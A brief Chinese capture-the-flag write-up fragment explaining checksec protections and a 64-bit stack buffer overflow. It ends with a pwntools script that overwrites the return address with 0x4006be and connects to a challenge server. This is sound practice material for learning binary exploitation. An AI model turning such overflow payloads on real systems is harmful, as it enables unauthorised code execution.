Partial RELRO 表示部分 RELRO 保护已启用。在这种情况下,只有某些部分(如 GOT 中的只读部分)是只读的。
NX enabled 表示这个二进制文件启用了 NX 保护,数据段是不可执行的。这可以防止某些类型的代码注入攻击。
这里是ida识别出来的v1距离rbp的长度是0x30,然后程序是64位的需要距离返回地址还差8字节
from pwn import *
p = remote("node7.anna.nssctf.cn",20692)
payload = b"a" * 0x38 + p64(0x4006be)
p.sendline(payload)
p.interactive()